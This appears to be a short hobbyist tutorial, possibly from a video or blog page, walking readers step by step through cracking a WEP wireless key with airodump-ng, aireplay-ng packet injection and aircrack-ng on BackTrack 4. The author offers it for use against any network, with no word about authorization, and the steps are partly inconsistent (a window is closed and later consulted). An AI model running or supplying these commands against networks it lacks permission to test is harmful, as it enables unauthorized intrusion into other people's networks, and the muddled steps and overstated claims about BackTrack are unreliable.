Here are the step by step directions:

Step 1: Open Konsol and type in "airodump-ng wlan0"

Step 2: Now open up a new Konsol window, but don't close out of the current window.

Step 3: Type in "airodump-ng -w wep -c (Channel) --bssid (BSSID) wlan0

Step 4: Open up a new Konsol Window, and close out of the first window.

Step 5: Type in "aireplay-ng -1 0 -a (BSSID) wlan0

Step 6: Open up another Konsol windows, but don't close out of any.

Step 7: Type in "aireplay-ng -3 -b (BSSID) wlan0

Step 8: Wait for #data in the first Konsol window to reach at least 30,000. It is ok for it to go higher, but isn't required.

Step 9: After that, press Control + C, and the type in
"dir" then "aircrack-ng wep-01.cap"


Here is the link to download Backtrack 4:

http://www.backtrack-linux.org/download.php?fname=bt4f


Heres some information in case you don't have a clue about what Backtrack 4 is, or what it does:

The first thing you need to know about it is that it is a Linux operating system made only for hacking. It is a highly modified version of Linux Ubuntu. It has every program and feature built in needed to hack anything. Most people thing Konsol is a program. That is incorrect. Konsol is basically the same thing as the Command Prompt found in Windows, or Terminal found in Mac. Konsol just allows the user to enter in commands. Backtrack isn't the one that hacks WEP keys. Aircrack is. Aircrack is a Konsol based program that can be installed on Linux or even Mac. I am unsure about Windows, but I know there is something you can download for it, but I don't know how to use it.

If you have any problems, email me at AspectOfTheStorm@gmail.com or comment below. It's a little easier for me to reply to an email than a comment, but it's perfectly fine if you comment. If this worked for you, please subscribe.